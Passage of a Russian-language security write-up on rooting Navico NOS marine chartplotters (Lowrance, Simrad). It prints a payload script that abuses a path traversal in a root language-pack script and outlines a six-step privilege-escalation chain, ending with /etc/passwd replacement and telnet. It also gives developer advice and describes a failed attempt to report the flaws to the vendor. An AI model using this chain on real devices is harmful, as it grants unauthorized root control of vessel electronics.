Согласно usage, из nos‑hal скрипт вызывается как language-pack reset packagename. Установка языкового пакета есть распаковка архива /media/factorydata/translations/packagename.tar.xz в директорию Translations из paths.ini. Так как файлы локализации обычно лежат в /usr, скрипт предварительно перемонтирует раздел, соответствующий целевому пути (какой бы он ни был) на запись.

Подробнее о копировании (строка 59 и далее):

# install the new language pack
local trans_file="/media/factorydata/translations/${lang}.tar.xz"
if [ ! -r "$trans_file" ] || ! tar -C "$trans_dir" -xf "$trans_file"; then
  ret=1
  printf "unable to extract %s\n" "$trans_file" >&2
fi

Красота‑то какая! Путь, передаваемый как аргумент, никак не валидируется; простейший path traversal позволяет установить произвольный набор языковых файлов: достаточно вызвать language-pack reset ../../../home/nos/customlanguagepack из любого удобного места nos‑hal. Это также позволит нам держать языки не в пользовательской директории, а там же, где и официальные приборы.

Обратите внимание: путь для распаковки файлов локализации скрипт берёт из /home/nos/paths.ini — а между тем он уже подконтролен нам! Снова видим ошибку разработчиков: скрипт, запускаемый с привилегиями, следует инструкциям от пользователя. Путь к Translations мы уже подменяли. Другая находка: хотя скрипт вычищает из целевой директории старые языковые файлы.qm, он нигде не проверяет содержимое архива с новыми: вместо.qm в них может быть что угодно.

Новый payload выглядит так:

...без изменений
case ${1:-} in
    ...без изменений
    factory-datestamp)
        get_factory_datestamp

        # подменяем Translations для вызова language-pack
        sed 's|/usr/share/NOS/translations|/our/target/path|g' /etc/skel/paths.ini > /home/nos/paths.ini
        sudo -n /usr/libexec/nos-hal/language-pack reset ../../../home/nos/customarchive
        # убираем за собой
        rm -f /home/nos/paths.ini
        ln -s /etc/skel/paths.ini /home/nos/paths.ini
        ;;
    language-pack)
        shift && sudo -n /usr/libexec/nos-hal/language-pack "$@"
        ;;
...без изменений

language‑pack использует paths даже не из /etc/skel, а из /home. Это упрощает нашу работу: достаточно скопировать paths.ini и не менять оригинал ради одного действия. Таким образом после просмотра информации «О приборе» архив /home/nos/customarchive.tar.xz распакуется в /our/target/path — не придётся даже ничего перемонтировать вручную. Мы получили привилегированный arbitrary write, а из него тривиально выводится arbitrary code execution, к примеру, через замену /etc/passwd и включение telnet.

Итоговый exploit chain

  1. встроенный файловый менеджер выходит за отведённую ему директорию через симлинки на SD‑карте; можно заменить или удалить ссылку /home/nos/paths.ini;

  2. из‑за разночтений аргументов chown между coreutils и busybox права меняются не на симлинк, а на его таргет; в данном случае на /etc/skel/paths.ini, по задумке — системный файл;

  3. встроенная в MFDApp панель инструментов держит конфиг в файлах.qml — вместе с разметкой получаем выполнение JavaScript;

  4. XMLHttpRequest проходят по file:// — не только GET, но и PUT, который записывает тело запроса в файл по соответствующему пути;

  5. ранее скомпрометированный paths.ini содержит путь к скрипту, выполнение которого можно вызвать через штатное меню; подменяя этот путь, мы выполняем произвольный код (пока ещё от непривилегированного пользователя)

  6. один из скриптов, работающих от рута и доступных пользователю через sudoers, уязвим к простейшему path traversal; можем копировать что угодно и куда угодно => arbitrary write => arbitrary code execution. Финиш.

По отдельности некоторые из этих просчётов не кажутся фатальными, но в сумме дают полный доступ к прибору за несколько минут. Полагаю, таким же образом из уязвимостей, на первый взгляд интересных сугубо теоретикам, выводятся сложные exploit chains типа Coruna или ProxyShell, — правда, хакерами совершенно другого уровня, которыми можно только восхищаться и немного им завидовать.

Позднее были найдены более простые по устройству и эксплуатации уязвимости, но эта цепочка до сих пор кажется мне наиболее интересной, так как ей соответствует такая же интересная цепочка ошибок со стороны разработчиков этого ПО. Оно хранит ещё много занимательных артефактов, открывающих глаза на процесс разработки и вывода на рынок этих девайсов. Возможно, обо всём этом я расскажу в другой статье.

Для меня это был первый опыт реверса embedded‑системы от непонимания её назначения до получения ACE на большинстве моделей. Сам я не являюсь разработчиком таких систем, но вот моё мнение дилетанта:

  • если ОС в основе вашей системы поддерживает юниксовые файловые системы с символьными ссылками, учитывайте это, добавляя поддержку внешних накопителей;

  • с десериализацией объектов — максимально осторожно, будь то pickle или QML;

  • некоторые фичи (в данном случае рекурсивный chown или XHR с file://) не являются уязвимостями сами по себе, просто благодаря им очень просто выстрелить в ногу; за вас их могут не пропатчить;

  • проверяйте возможность path traversal, это целый класс уязвимостей, настолько часто они проходят мимо код‑ревью;

  • и в целом, поменьше доверяйте пользователю.

P. S. К разработчикам из Navico

Не нашёл у вас ничего о bug bounty, пробовал связаться по e‑mail — хотел выдать всё, что знал, правда, — поэтому не удивлён багажу уязвимостей, здесь только находки июня‑декабря 2023; менее актуальными они не являются. Знаю, что NOS разрабатывается в далёкой Новой Зеландии и в приоритете именно устройства флагманского бренда Simrad, а заточенные на рыболовов‑любителей MFD Lowrance многие фичи получают по остаточному принципу.

На флагманах вы уже переходите на NEON на базе Android (кстати, лагодром ещё тот; Simrad NSX тормозит гораздо больше HDS PRO на том же imx8mp, точно не из‑за андроида на первом и хорошей, хотя и очень дырявой, системе с пятнадцатилетней историей на последнем). Но устройства на NOS всё ещё продаются и позиционируются как центры управления судовой электроникой, радио — это я упомянул в начале статьи. А уязвимости бывают и сетевые, с ACE можно и uboot перезаписать, прибор придётся вскрывать, а организовывать RMA из‑за какого‑нибудь bad actor'а на вайфае условной марины накладно... ладно, увлёкся.

То, что обновления с новыми функциями и багфиксами выходят для приборов, давно снятых с производства, как HDS Carbon из далёкого 2016, похвально. Но ОС, пусть и легаси, не должна получать только лишь поддержку очередной модели live‑сонара или мотора. Бортовой компьютер заслуживает быть безопасным.

Первая статья для профильного ресурса, буду рад фидбеку.